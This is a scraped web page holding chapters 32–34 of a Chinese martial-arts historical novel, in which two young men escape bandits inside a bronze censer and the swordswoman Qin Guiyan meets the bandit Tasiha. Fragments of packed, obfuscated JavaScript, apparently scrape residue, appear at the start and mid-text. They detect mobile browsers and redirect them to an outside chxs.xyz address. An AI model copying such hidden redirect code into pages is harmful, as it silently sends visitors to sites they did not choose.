l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846505|157046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>其中一贼人更是活活被顶至天池边。那人稳定身形后欲反扑,谁知那铜炉虚晃一招,吓得他一个踉跄跌入池水中。 铜炉内二人本就前胸挨后背,纯哥儿这一挺腰,仕渊的后腿根立刻贴上了一团不可名状之物,当即一觳觫,喝道:“咱俩换个位置!” “好,那少爷你来托铜炉……” 纯哥儿与仕渊换好了位置,怎料铜炉扎在地上半天没动静。 “少爷?” “急什么!”仕渊猛一使劲没提动,骂骂咧咧道,“你当这跟小姐提裙子一样简单啊!” 于是二人又默默地换了回来。 纯哥儿尚未站稳,忽听叮咣五四几声刀砍,原来是小庙那侧的十个人冲了过来。所幸铜炉材质不错,并无大恙,只是这金属声刺得人耳根发痛。 “愣着干嘛?巽位,跑啊!”仕渊大喝。 那领头人提刀砍了两下发现没用,乍一听见铜炉要跑,索性张开双手迎了上去,打算拦住它。没成想铜炉非但没跑,还晃悠了两下,随后宝顶倾斜,不偏不倚地将他当头砸趴在地。 “你踩我脚了!”那铜炉道。 原来仕渊所指的巽位是以小庙为中心的巽位,而纯哥儿两眼一抹黑,自然是以自己的朝向为中心,结果不言而喻。可谁知二人这一踉跄,竟歪打正着,把一人“钉”进了泥里! “纯哥儿!新招式,宝塔伏妖!” 仕渊搭了把手扶正铜炉,见其中一山匪正欲过去搀扶那首领,赶忙道:“你的乾位,再来一次!” 纯哥儿会意,一铆劲将铜炉抬高,仕渊也随即弯腰俯身,果不其然,一击即中,又砸趴一位! 见贼人包围圈开了个缺口,仕渊来不及欢呼,又道:“坎位五步再巽位,跑!” 二人毫不含糊,蛇形几步便沿着天池朝东北方跑去。 山匪们在后面紧追不舍,还时不时地放几箭,皆被那铜炉弹飞了出去。偶而几支射得准的,也只打中了铜炉的三只兽脚,而非人脚。 仔细一看,飞来的不止箭矢,还有石头! 远远望去,一只大葫芦头拖着条长长的尾巴冲破云雾,周身电光石火——谁说这天池没有蛟龙的? 铜炉大步流星地“飘”了百十步,终于上了土路。可仕渊面前的窟窿只能让他看清前路,万万照顾不到头顶上方。 就在这时,树上落下一人站在炉顶上,压得纯哥儿脱了手。 铜炉稳稳实实地“坐”在地上,将二人罩在里面动弹不得。 二人齐齐弯腰去抬,还未发力,又有一人自树上跃下,二话不说便将手中钢刀捅进窟窿眼! 钢刀擦着二人发髻而过,有惊无险,来人见一刀没捅到人,拔出刀来回手又是一捅! 纯哥儿见势,赶忙从掏出个砖头似的硬物堵上了那豁口,仕渊顾不上掉落的发簪,双手死死按住那硬物,生生将刀挡了回去,炉内瞬间黑暗。 双方就这么僵持了须臾,但听炉外传来一句“留活口”,那人才将钢刀收回。 仕渊长舒一口气,定睛一看,原来纯哥儿手上拿着的,正是庙里那捆腊肉! 此时又听一句“把这玩意儿掀开”,站在炉顶上的贼人立刻跳了下来,同那拿钢刀的去抬铜炉。 见情形不妙,仕渊对纯哥儿耳语了一句“不动如山”,二人立刻踩上了铜炉内壁的边缘,使了个“千斤坠”。 两贼人见抬不动这铜炉,立刻招呼刚刚追来的一众人上前帮忙。前一刻还在铆着千斤坠的仕渊,一低头见炉底边缘多出了几十根手指头,当即惊得破了音,双手撑着内壁,脚下忙如捣蒜,踩碾着一根根手指头。 然而这手指头踩掉一根又来三根,眼看铜炉就要被掀起来,仕渊这才想起什么,大喊道:“□□蹿天!” 纯哥儿会意,二人举起双手手,顶着铜炉高高跃起。正在使劲的贼人们手上突然脱力,一齐人仰马翻,只能再次看着即将到手的两只“小鳖”,顶着自己的“瓮”跑远了。 就在仕渊以为山匪已被甩远,准备掀掉铜炉跑路之时,另一个身影出现在了瀑布旁的山道上。 此人身躯庞大,双手各执一根铜骨朵横亘道间,以一己之身将二人的去路堵得严严实实。 32.刀枪剑戟皆无用,吾有金刚护体功(下) 左侧是铮鏦瀑布,右侧是密林深谷,一时之间让仕渊不知如何是好。 透过水雾,他看清了来者面容,不禁惊呼:“是你!” 来者正是长恭浴亭中塔斯哈身边的女直壮汉。然而他认出了阿里因,阿里因却认不出藏在铜炉里的仕渊。阿里因横肉间的小眼凶光毕露,二话不说便将铜骨朵高高扬起,直冲仕渊面门而来。 “阿爹手下留情!” 一声嘶喊让即将落下的铜骨朵悬在半空,道旁矮树丛中冲出来一个娇小的身影。 仕渊与纯哥儿趁机退后几步,见来人是阿朵,才意识到原来她昨晚三句不离口的“阿爹”,正是眼前这大汉。 “确实能站占半个炕,不愧是你……”仕渊嗫嚅着,不料被铜炉放大了声音。 这瓮声瓮气的一句话,让阿里因虎躯一震。他看了看铜炉,又看了看阿朵,忽地反应过来了什么,怒吼道:“你怎么睡过我家的炕!” 他大喝一声跨步向前,铜骨朵抡了上去,“朵里必我回头再和你算账!” 这铜骨朵状似圆锤,又带着万钧之力,刀剑奈何不了的铜炉若被这玩意儿砸到,不破洞也会砸出个大坑。 命在旦夕之间,仕渊不知哪来的力气,撑着铜炉向左猛地一跳,将将避开了这一击。 阿里因也不含糊,一击未中另一只手立刻抡了上来,却又被仕渊一个右跳避开。他怒气越来越盛,失心疯似地步步紧逼,铜骨朵左右交替地抡了起来,仕渊只得步步撤退,带着铜炉左跳右闪。 起先那几下他还躲得及时,一来一回跳得敏捷有力。无奈身后的纯哥儿看不清状况,被这忽左忽右地带了两下就乱了步子,在狭小的空间内左右冲撞,活像个骰盅里的骰子,使前面的仕渊也愈发吃力。 终于,在阿里因抡出第六锤时,仕渊脱力,慌忙间又被纯哥儿的脚绊了一下,二人连带着铜炉齐齐仰倒在了路中央,一时动弹不得。 阿朵见这大葫芦倾倒,葫芦中的四只脚还身在外面扑腾,一时又心急又想笑,赶忙跑过去将二人拉出来。 她双手抓住仕渊脚踝,抬头却见阿里因几步上前,膀子肉一抖,击铙钹似地照着铜炉双锤齐下。 “哐——” 云蒙之顶,禅堂弃庙,佛钟回荡,惊飞了鸣鸟一片。 瀑布下的层层山林之外,月白衣衫的女子猛然回首。 那“钟声”传自她来时的山上,却好似敲中了她心房,崩断了某根心弦。 她再度看了眼面前书生身上的锁链,抵在剑镡上的拇指松了劲,原本略带杀意的双眸顿时清明。 “咔剌”一声,她将自己脱臼的手臂接好,忍着剧痛让惊魂未定的书生藏匿于巨石一侧,却依旧不放心,又把怀中宝石匕首扔在书生脚边以供防身,随后不顾力竭,再度冲了出去。 山中步道上的阿朵吓得不敢动,眼睁睁地看着那本在扑腾的四只脚没了动静。她气恼地跳起推搡阿里因,在瀑布的轰鸣声中与阿爹吵嚷起来。 铜炉内的二人一阵耳鸣目眩,周围的嘈杂声渐弱,直至消失,而颅内依旧翻江倒海。 仕渊挣扎着从仰躺的纯哥儿身上侧了侧,满脑子想得都是“不能被拿下、不能给家里添麻烦”。 晕眩中,他透过窟窿望了一眼,见先前追赶的山匪已至,离二人只有咫尺之远。 眼前是白花花的瀑布,无声却暴戾,震得身下的土地微颤。仕渊在来时曾瞻仰过它,那底下是一汪深潭,深潭对面似乎也有下山的路——这群山匪会不会水呢?应当不至于跨进深潭,涉水追击他吧? “若真到山穷水尽了,赌一把也无妨。” 吴伯临别之际的话语回荡在耳畔,仕渊回身,一手抱紧纯哥儿的腰,另一只手垫在他脑后,生无可恋地长吸一口气。 “对不住了,兄弟!” 二人就这么罩着铜炉,滚下了山崖。 阿朵还在与阿里因争吵,她前一瞬见铜炉晃了一下,心喜人还活着,谁知下一瞬那铜炉便消失在了小道上。 “贾公子!” 水雾迷人眼,阿朵叫得心碎又悔愧。 喘着粗气的众山匪刚刚赶到,见她扒在山崖边不停向下张望,可那铜炉早已消失在瀑布之下。 ------------------------------------- 连接深潭的还有两叠瀑布,一叠比一叠高峻,好似两道鬼门关泻着黄泉水,在考验着挑战者的命格。一旦挺过这一遭,那黄泉水就会变成松涧春水,淙淙流淌,送来客至一处绝美的碧湖。 碧湖风恬浪静,波光粼粼,让人全然忘却几里开外,它曾那般气势汹汹。 就在这柳暗花明处,有一人正在饮马。 方才的钟声似乎惊到了马儿,他只得牵着缰绳,形影不离地跟在它身侧,嘴里哼着听不懂的小调。 马儿长鬃抖擞,灰白相间,一副趾高气昂的样子,扬起头来却还不及一旁的男人挺拔。男人浓眉高鼻,唇线分明,褐色长发并两根发辫随意地搭在肩上,衣着朴实无华,唯有耳垂上的金环煊赫夺目。 此时正值日央,阳光透过岸边的老银杏树,斑斑驳驳地照在二者身上,自成一方天地。他时不时地用脚撩起水花溅在它身上,“莫林、莫林”地叫着它的名字,而它则鼻响连连,马蹄“扑通扑通”地踏水回敬他。 马儿玩得不亦乐乎,男人笑得像个天生地养的少年。若不是腰间的两把虎头锏出卖了身份,哪能看出他便是令人闻风丧胆的摩云崮二当家? 塔斯哈昨夜刚刚赶回摩云崮大寨,又被阿里因拉下山赶了一夜的路,此刻被暖日照得恹恹欲睡。 隐约中,湖面上游漂来个物件。他一边抚着马颈,一边出神地望着,直到那物件伸出了双臂——居然是个人! 这深山野湖怎会有人溺水? 塔斯哈牵起马,狐疑地沿湖岸近前几步,见水中人无力地扑腾了几下,在离湖岸几丈远的地方没了动静。 那人垂臂仰卧,身如竹柳被春水漫过,天青色衣袍随波飘摆,发丝四散如浓墨入水,面似薄纸吹弹可破,一时间叫人难辨雌雄。 如此玉姿并非随处可见,连塔斯哈都多看了几眼。恍惚间,他回忆起三日前长恭浴亭的暖雾中,有一双小鹿似的眼睛总是打量着他,还怯生生地管他叫“阿敏”。 仔细一琢磨,他才意识到这水中人,正是自己不惜星夜兼程也要绑走的肉票。 “又见面了,兰陵王!山上的兄弟不中用,还得我亲自动手。” 塔斯哈哂笑着解开臂缚,褪去上衫和鞋袜,又卸下腰间两把虎头锏。来不及栓马,他只把缰绳往岸边大石头上一绕,便往湖里走。 刚趟了几步水,但听身后有穿林打叶声,回头时忽觉一股真气涌动,紧接着自林间冲出一谪仙般的身影。 女子月白色罗衫,云鬓半散于身后,脚尖点在一颗鹅卵石上,驻足了须臾。她左手提着一柄银白长剑,细长的眉眼瞥了塔斯哈一瞬,右手结印迅速变换,衣带尚未垂落便又向湖面飞去。 救人这事怕是轮不到他了。 塔斯哈光脚站在岸边,心神随着那女子飞至了湖中,连上衣都忘了穿。他搔了搔下颌新冒出的胡茬,一时不知该做甚,索性从后腰掏出把匕首,蹲在水边刮起了胡子,目光却流连在湖面上。 那女子在水面上踏了几步后,一头扎入水中消失不见,再度浮出水面时,已在那溺水之人的身侧。 她一手揽住那人的腰使其不再沉 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女子一怔,停下了手中动作,泄了劲在草丛中躺倒。她气喘连连,前胸高低起伏,浸过水的衣衫紧贴身线,透出肌肤的底色。 “我,我没力气了……有,有力气也打不过你……随你处置吧!只是……” 香艳而不自知,她挣扎着支起上身望向塔斯哈,双眸好似雾霭笼罩的湖水,声音清冽中带着几分恳切,“只是跟你们回去之前,让我救活他。” 塔斯哈收回目光没有答话,将衣服晾在马背上,靠着那棵老银杏树坐了下来,似乎是默许了女子的请求。他头枕双手,老神在在地哼着歌,眼睛却时不时地斜向草丛处。 女子不停地呼唤溺水之人,手忙脚乱地按压着他的胸腹,但终归都是无用功。 恛惶中,她只得钳开那人牙关,俯身渡气,另一只手在其丹田处输送内力。 终于,那人猛地咳出一大口水,虽依旧不省人事,但薄纸般的面庞渐渐泛起血色。 肉票保住了一条命,塔斯哈这一趟总算没白来。他暗自松了一口气,歌声也变得轻快起来。 女子闻声,拿起银剑向他走来,却只是站在几步以外,出神地听着他的唱词。 许久,她才开口试探道:“讷库勒,细雅……诸申?” 歌声戛然而止,塔斯哈不可置信地望着眼前女子,阳光将她的轮廓映得有些不真实。 她在问他是不是女真人。女直人内部还是会自称女真,“诸申”即为“女真”的原本发音。 金汉通婚百年有余,到如今尚会女真语的本就不多,金国覆灭后更是死的死、迁得迁,极少还有留在故地的。 塔斯哈十来岁时就随大哥成了“亡国鬼军”,而后又落草为寇,二十年来鲜少见过本族女子,更不用提尚会说女真话的女子。他本以为女真姑娘要么隐姓埋名随夫家南迁,要么就被蒙人染指屠戮,在车轮马蹄下只剩倩影残魂。 然而此刻,这倩影残魂正鲜活地立于他眼前,且亲昵地称他为“讷库勒”——朋友。 他不知女子何名何姓,何方来,又有什么故事,只一眼看清了她手中长剑,银白镶玉,似曾相识。 “霜锋白刃蒲鲜玉鹏是你什么人?” 女子闻言怔在原地,面色惊奇中透着些不知所措。塔斯哈劈头盖脸的这句女真语她倒是听懂了,只是他嘴里那个名字仿若前生之事,太久没听旁人提起过。 平日里若有人问起身世过往,她总是缄默不言,顶多打个马虎眼搪塞过去。而此时,面对这素昧平生甚至来者不善的山匪,她却并没有过多思虑。 “是我的阿敏。”她道,“我叫蒲鲜哈儿温,也叫秦归雁。” 33.君叹此身无定所,我羡君生任自在(上) 天地寂寥,红霞覆日,远处的山影镶起了金边,近处草丛中几只虫蚁蜎蜎前行,爬上了一只布满血痕的玉手,又被那手指猛然一动抖落在地。 仕渊渐渐恢复知觉,却依旧头晕耳鸣,加之胸腔灼热说不出话,甚至有头皮撕扯的感觉。他侧了侧头,没成想醒来第一眼看见的,竟是一张马脸。 这马儿不知足地吃着草,将周遭地上都啃秃了还不罢休,又开始啃他的头发。然而他现在根本没有力气去轰它,胳膊裹在湿透的袖子中如有千斤重,只得扭扭脖子将头发扯回来。 觉得约莫是纯哥儿将自己捞了上来,他左右望了望,纯哥儿却并不在身边。 那种心慌意乱外加愧疚感再次袭来,待记忆清明之后,又立即消散——不是纯哥儿救了他,而是他救了纯哥儿。 先前他与纯哥儿连人带铜炉一起坠下了瀑布,入水时跌得七荤八素,好在他拿手臂护着二人的头,并无大碍。真正要命的是入水之后——那铜炉护得二人免于被水拍击,却也牢牢地罩着二人沉入深潭动弹不得。 仕渊自小在运河畔长大,水性尚可且两手空空,轻易就能从炉底下滑出来。而纯哥儿是个旱鸭子,憋好的一大口气在入水时就喷得七七八八,闭着眼在铜炉里可劲儿地扑腾,都忘了自己肩上还背着个竹篓。害得仕渊在外面好不容易抓住他乱踢的腿脚,却怎么也拖不出来——上半身连带那破竹篓卡在炉里了! 他自己也快气竭,只得疯狗一样开始刨铜炉下的泥沙,终于将纯哥儿拖了出来,带着他上浮。怀中的纯哥儿越发沉重,他自己也憋得两眼发黑,所幸连呛几口水后,纯哥儿也摸清了点水里的门道。他带着纯哥儿拼命向岸边游,可惜越接近水面的地方,瀑布泻下的湍流越急,推得二人离岸边越来越远,一切力搏都是无用功。 眼看第二重瀑布的落崖近在咫尺,本着不能全军覆没的念想,仕渊拼尽全力照着纯哥儿的屁股一蹬,将其蹬向岸边,同时也将自己推至崖边,与万钧水流一起落下。 还好阎王爷没收他,以后可不敢这么玩命了!回想方才,仕渊仍是一阵心悸,不然这么美的云霞再也看不到了。 仰面朝天地缓了一会儿,他听力也逐步恢复。风声水声入耳,其中还夹杂着叽里咕噜的说话声。他软绵绵地支撑起上半身望向声音来处,却又吓得一骨碌躺了回去——是那山匪头子塔斯哈! 还有燕娘!燕娘为何在和他说话?她不是应该带着君实在去往蒙阴县的路上吗? 他僵硬地躺在地上,假装尚未苏醒,一双招风耳仔细探听着二人的对话,耳油都快冒出来了,结果一个字都没听懂! 越是听不懂,猜疑便越多。 塔斯哈背靠大树,燕娘离他咫尺之距,二人言笑晏晏,旁若无人,甚至连仕渊诈尸似地一起一卧都没发觉。 山上那帮人为何没有追过来?若是燕娘在此地,那君实又在何处?莫不是早已落网? 仕渊越想越觉蹊跷。先前自己的家世被燕娘查得一清二楚,而后在兰陵县,他们前脚刚进长恭浴亭,后脚塔斯哈便进来了。再之后撞见塔斯哈的客栈也是燕娘选的,甚至就连阿朵家,也是燕娘带路去的。 眼下已然确认她是女直人,阿朵、阿朵的父亲,还有塔斯哈,都是。这一路上与女直人数次交集,且都与摩云崮脱不了干系,若说巧合实在牵强。此行自打从扬州就有诸多古怪,只是当时他实在拿神荼索没有办法,情急之下且信了燕娘。 该不会……这山匪使得是个连环计,以燕娘为前锋,金蟾子为饵,将他一路从扬州引至此处,打算一口吞个大的? 思至此处,他已是冷汗连连,却又怕自己多虑了。 燕娘谈吐举止都相当板正,不惹一丝尘埃,若是不经意触碰到她,多半会被甩个“平沙落雁”。看似功高自矜,但她总是默默无言地跟在身边,偶尔也会钝口拙腮地安慰人。她平日里虽冷着一张脸,却总是轻易地被逗笑,约莫是鲜少出门与人交谈。 她总是孤孤单单,却又规规矩矩——规规矩矩地辟谷、打坐、练功,规规矩矩地等待、探路、掏钱……总之并不像是会与一群豺狼为伍的人。何况她算半个道姑,又是林家班的台柱子,若是对自己有歹心,总不会连林子规都对自己有歹心罢? 不远处的二人交谈继续,燕娘的女直话似乎并不很流利,依稀能听出“金蟾子”、“龙门派”等熟悉字眼。 末了,塔斯哈说了句什么后引得燕娘一阵沉默,便拿汉话又重复了一遍:“我去找那个带锁链的书生,你在这看着草丛里那位,然后我们一起回摩云崮。” 这一句字字清晰,如一道惊雷劈向仕渊,再犹豫不定之人都能给劈醒了——他们果然是一伙儿的! 眼下情形容不得仕渊惊诧和愤怒——他须即刻脱身,赶在塔斯哈之前找到君实,抓紧逃离这个鬼地方! 说做便做,仕渊一骨碌自草丛中跳起。方才那马儿近在咫尺,他捞起缰绳飞身上马,头也不回地踢了下马肚子,一骑绝尘。 望着上一刻还在躺尸,下一刻就暴起消失在林间的肉票,塔斯哈只剩目瞪口呆。 “我刚才说什么来着?汉人大多自私自利,不可深交,你看他——” 塔斯哈埋怨着望向燕娘,却见她指尖婆娑着苍白的唇瓣,面容好似即将凋谢的花朵,搅得他心里也不是滋味,只得将一席风凉话都咽回了肚里。 以她方才展现的轻功,定然能在“莫林”走远之前追上去解释一番。然而她的气力早就为救人耗尽,却不想所救之人不仅无感激之辞,甚至抛下同行伙伴,头也不回地跑了。 “那个……哈儿温姑娘,你别太介怀。”他笨嘴拙舌地安慰道。 “我有甚可介怀?不过各取所需,何求肝胆相照?”燕娘嘴上说得淡然,却难掩失落之相。 塔斯哈笑而不语,见她一身单薄濡湿显得愈发可怜,欲将自己的衣服罩在她身上,这才想起自己的衣服还在马背上晾着,而刚刚被肉票拐走的爱马“莫林”,多半是回不来了。 此刻有马蹄声自上游传来,正是阿里因同其余山匪。塔斯哈冲他们打了声口哨,转身对燕娘道:“时候不早了,马多得是,我们回去吧。我帐内有好酒,本来还想杀只鹿招待下那两个书生,谁知溜得比兔子还快!” 燕娘踟蹰不前,片刻后才点了点头,跟在塔斯哈身后向上游走去。微风渐凉,夕阳将二人的影子拉长,这身影是如此相像——颀长、崔嵬,却又透着疲惫。 背后传来疾驰的马蹄声,二人警觉地回头,只见一匹矮脚马直奔而来,背上载着个披头散发的天青色身影。 “秦归雁!上马!” 马上人一声闷喝,燕娘登时怔在原地。须臾中,一只手向她伸了出来,她犹豫不决地抬了抬手,却被一股出乎意料的力度拽起,待她反应过来时,已然落于马上。 马上之人虽文弱狼狈,这一番垂蹬挂马的动作却如行云流水,连塔斯哈都刮目相看。恍神间,那人已打马回程,临走前趾高气昂地丢了句:“塔斯哈,我兄弟还在她手上,你这压寨夫人我不还了!” ------------------------------------- 俗话说,骐骥一跃,不能十步,却能将佳人颠出十步以外。 与其说是燕娘被拉上了马,不如说她习惯了见力借力,自己跳了上去,却没成想这马儿动如脱兔、势如破竹,害得她偏生落在了马鞍外,于是只能上下左右任其颠簸。 她本就惶惶然,死死地钳住仕渊腰间,但听一声“压寨夫人”,自知其中误会大了,然而马儿四脚腾空地飞驰,再多的解释到了嘴里,最后全变成了惊呼。 “其实我回来不光是为 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其实这么多年她一直没理清楚自己的身份问题,甚至眼下更纠结了。 宋金虽有不世之仇,但她是被汉人教养长大的,言行举止、吃穿用度皆与汉人无异,甚至塔斯哈是她这么多年来接触过的唯一一位族人。 可若说她是汉人,怎地午夜梦回时又讲起了童年的话语?血仇未齿,栖霞山庄的诸多英灵在上,她万万不敢忘本。 一声叹息打断了她的思绪。仕渊忽地跳下马背,牵着辔头稳住马儿,卷起塔斯哈的上衣擦干净自己座下泥水,又拍了拍马鞍,道:“旁的以后再说。来,坐到这上面,上身直立,沉肩坠肘,目视前方。正身以总辔,才能均马力、齐马心。” 见燕娘踌躇不解,仕渊嘟囔了句“得罪了”,随后擒住了她的脚,将其带入了马镫中,又将整个人托上了马鞍,这才发觉她手脚冰凉,周身带水。 “你怎地湿得像个馄炖?”他蹙起眉头。 “你不也是,湿得像个车螯,还带着泥。”她不假思索地回道。 仕渊心中登时清明。先前他在水中挣扎直至昏厥,清醒后又如惊弓之鸟,根本没有时间想过自己这条命是怎么捡回来的。 他周身有暖意自丹田处流散,甚至连嘴唇都有些许酥麻感。 如梦初醒,他望向马背上僵直的女子:“是你救了我?” 燕娘点了点头,又道:“另外,我与塔斯哈刚刚结识,何来‘压寨夫人’一说?我知你思虑颇多,但他承诺放我们一马,只因我父辈有恩于他,你不要会错意。” 她的话音不疾不徐,仿佛方才的搏命相救只是举手之劳而已。仕渊长舒一口气,暗暗责备自己胡思乱想之余,又有一些欣喜,只因燕娘还记得“车螯”一物。 那日天将破晓,二人初遇,他带着眼前这位“名伶”去东门口馄炖铺嗦车螯。说来惭愧,席间他对燕娘撂下了一句“若不能坦诚相待,如何患难与共”后,便不欢而散。谁知现如今她做到了患难与共,而自己却满心猜忌与防备。 他低头看了看自己满身的泥污,着实像个车螯。 “谢谢你,把我从水底捞上来。” 仕渊牵起马儿向前走,时不时地回头确认一下燕娘还在不在马上,见她已经习惯了坐在马上,便放了心,闲庭信步起来,死里逃生的事像是从未发生过。 “对了燕娘,关于王金蟾的去向,你可有头绪?”他正色道,“你们不是有过命之交吗?” “没有头绪。虽然过命,但并未深交。”燕娘回道,“他离开时只说若我有事相求,便去蟾螳宫寻他。” 结果这牛鼻子连蟾螳宫具体在哪儿,都打了个哑谜。 紧接着,燕娘又道:“不过方才我向塔斯哈问起金蟾子,他告诉我了一些消息……” 34.君叹此身无定所,我羡君生任自在 (下) “塔斯哈?他说什么了?” 仕渊心中鄙夷,但转念一想,塔斯哈已承诺放他们一马,这事说与他似乎也并无不妥,而他也没理由把已经到手的大鱼放掉,再设计骗回来。 “第一,他说金蟾子是个假道士,根本没有度牒。”燕娘回道,“这一点我且信他。两年前我认识金蟾子时,他正四处奔波,我翻过他的行囊,确实没有看到度牒。” “我一点也不惊讶。林班主曾说过,此人早年曾被金丹派踢出宗门,被没收了度牒也说不定,而后来祠部颁牒的价格水涨船高,据说得好几百贯……” 话说一半,仕渊才发觉有些不对劲,“哎不是,你没事翻一老头子行囊干什么啊?” “找吃的。”燕娘不以为然,“我不过行九食斋而已,又不是真的吸风饮露,饿急了也顾不得老头子老婆子的。但这不是重点,重点是塔斯哈告诉我的第二件事——火烧蟾螳宫的,正是龙门派。” “龙门派?难怪当时敲阿朵的门,她劈头盖脸先问我们是不是龙门派的!”仕渊恍然大悟,“我虽然对江湖情势不甚了解,却也曾听闻‘天下道门半全真,全真教众半龙门’。我以为这金蟾子转投龙门后只是不受待见,没成想二者之间竟有如此大过节。” 燕娘不置可否,眉头微蹙,思忖道:“龙门派曾经风光不假,但自虚静子赵道坚与长春真人丘处机羽化后便日渐势微。数十年来,他们牵扯俗务过多,门派弟子不能清净修为,终致人才凋敝,近年来未曾听说出过什么高手。虽说门派事务暂由全真冲和真人主持,但其年事已高,一直在万寿宫闭关修养,甚至已有仙游之兆。龙门派如今已是群龙无首多年,底下的门徒教众胡作非为也说不定……怎么了,看我作甚?” 滔滔不绝中,她见仕渊牵着马儿停在原地,一脸玩味地打量着自己。 片刻后,这小少爷打趣道:“平日里你不怎么说话,我都忘了你还是个俏道姑呢!” 燕娘横眉冷对,别过脸不愿睬他,却越想越气,终于出言辩解:“我一不曾出家受戒,二不行斋醮科仪,三不受信徒供养,又算哪门子的道姑?” 说罢,她一夹马肚子,自顾自地驱策起来。 “不错啊,你看骑马多简单,这不就学会了么……哎等等!” 燕娘越走越远,仕渊小跑着跟在后面,“你到底把我的小堂叔藏哪儿了啊!” ------------------------------------- 天色渐晚,林间更是昏暗。先前仕渊策马时横冲直撞,现下二人不知自己身在何处,只得在山谷中兜兜转转,找寻着君实的踪迹。 “好不容易摸到了蟾螳宫,谁知这金蟾没抓到,连我的小堂叔都丢了!”仕渊哀嚎连连。 他好不容易才追上燕娘,此刻紧紧抓着缰绳辔头,不敢再松手。见燕娘仍然不睬他,便开始没话找话起来:“燕娘?秦娘子?我见你方才跟塔斯哈聊得挺开心,都说什么了?” “他说他见过你。”燕娘腰身随着马儿的步速前后摇晃,一派悠然自得,“就在长恭浴亭,刚打个照面,你就管他叫爹爹。” “咳!”仕渊差点儿将隔夜饭喷出来,“所以‘阿敏额涅’是女真语里‘爹娘’的意思?这下误会可大了……你确定塔斯哈不会追过来?” 燕娘显然把这玩笑话当成了个正经的提问,一板一眼地答道:“‘塔斯哈’是女真话里‘老虎’的意思。老虎匍匐在野,一击必杀,并不会紧追一个猎物不放。” “原来如此,讲究一个人如其名。”仕渊眨巴着眼,一副敏而好学的模样,“我先前还听见那个大肥秃管阿朵叫‘朵里必’,又是何意?” “‘朵里必’是狐狸的意思,哼!”燕娘哂笑一声,“也是人如其名。” “啧,瞧我这乌鸦嘴,之前说甚么拦路虎、俏狐狸、笨山贼,这回全遇着了!”仕渊碎碎念道,“不过那大肥秃怎么想的,竟给自己女儿起个畜生名!” “那我不是也叫‘秦归雁’么。” 仕渊全然忘了这码事,赶忙补救道:“那不一样……” “有什么不一样?”燕娘歪了歪头,“都是天生地养的有识之兽,还分贵贱?” 这姑娘随口便甩了道明经科论辩题! 自知秋闱在即,仕渊难免有些杯弓蛇影,心道若是君实也在,定能取譬引喻,辨得她服服帖帖。而轮到他自己,却只得转移话题,不求“以理服人”,但求“和气生财”。 “生灵本无贵贱,奈何人有好恶之分。就好比我一直称你为‘燕娘’,只因骷髅幻戏那夜见你惊鸿一舞,便理所当然地以为你是‘赵飞燕’的燕。现在看来是我格局小了,竟不知姑娘小时候是被赋予鸿鹄之愿的。” “‘燕’字也挺好。”燕娘莞尔浅笑,“鸿雁看似来去自如,实际天南地北一生奔波,只为追逐一方水草。而燕子虽隐于市井,无缘天地广阔,却能阖家而居……” 她声音越来越小,目光在黑暗中不知聚于何处。 仕渊对眼前人不甚了解,但不难猜出她多半身世凄楚,于是宽慰道:“非也非也,须知,姑娘身上也是有牵挂的。雁者不语,自随云去,而姑娘的家人赐名曰‘归雁’,定是希望你天高任鸟飞,身后总有归处。至于我嘛,我娘本为我取名‘秋帆’,也有海阔凭鱼跃之意,奈何我爹却只想让我步他后尘,坐进临安御街的木头蒸笼里……” “但天下有多大你知道吗?”他忽地转身,长袖一挥直指天际,“李太白诚不我欺,但就连他也有所不及!西去昆仑有通天的雪山,雪山之外别有天地,曰忽儿珊、曰班勒纥。南下天竺有注罗,群神睥睨,是片盛大的花园……” 他双眸熠熠生辉,言语中压抑着狂喜:“这些地方看似高远,却并非无可企及。十万蒙古铁骑已然踏遍,长春真人七十多岁高龄西游亦至,甚至我前不久刚认识的白达商人,只身一人也能遍览天下!人生苦短,譬如朝露,若只守着一亩三分地过活,实在白走一遭!” 上述所云之地,燕娘一个都没听说过,却不知为何心绪奔涌,目光怎地都离不开他,仿佛注视着的不是一个狼狈书生,而是黑夜中升腾的一团烟火。 只可惜未等这团“烟火”绚烂绽开,就自行熄灭了。 “所以呢,一定要学会骑马。”仕渊苦口婆心道,“你轻功再好,总有累的时候,与其总是靠自己亲力亲为,不妨借助一下外力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14874417|157046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 说话间,他把缰绳交到燕娘手中,“长风万里送秋雁,不知羡煞多少池鱼!将来我对砚枯坐之时,你若归来,不妨给我讲讲你的见闻。” 燕娘微微颔首,指尖抠着缰绳上的纹理,低声道:“其实……我并不像你想的那般自在。” “也对……”仕渊努了努嘴,歉然一笑,“我忘了你是林家班台柱子,多少人挤破头抢香囊都是为了捧你的场,林子规自然不会轻易放你走。” 燕娘眉间凝起一丝愁云,沉默片刻,又不解道:“为何要我讲与你听?你不乏聪明才智,亦不缺钱财人脉,若有心游历世间,何不趁早出发?” “若我只身一人,自是不在话下,可惜我不是。” 仕渊苦笑道,“记得那日我放纸鸢时,带你在‘杏林及地’的屋顶上俯瞰过陆园。你感叹陆园屋舍林立,殊不知大部分屋檐下都住着人。有的我敬之爱之,有的我都叫不上名来,但无一例外,都是我的家人,他们对我有多大的宠爱,便有多大的期望。” 没几日前,他还巴不得逃离扬州的青砖巷,而眼下初逢大难又困于深山,说着说着,竟生了思归之情。虽知交浅言莫深,却还是不由自主聊起了家中事。 “陆园看似文武工商各行其道,实则一荣俱荣、一损俱损。我爹是陆氏唯一一位官至御前之人,我又是他独子,还未出生便已被铺好了前路,容不得我离经叛道。别家孩童抓周时,面前摆得五花八门,而我的周岁宴面前只摆了三样:笏板、鱼袋、官印。最后我外公实在看不过眼,补上了个箭扣,大伯也跟着放了个算盘。” 燕娘把着缰绳,目光流连于仕渊的背影,越看越觉这位公子哥虽纨绔,却似乎又不能一言以蔽之。 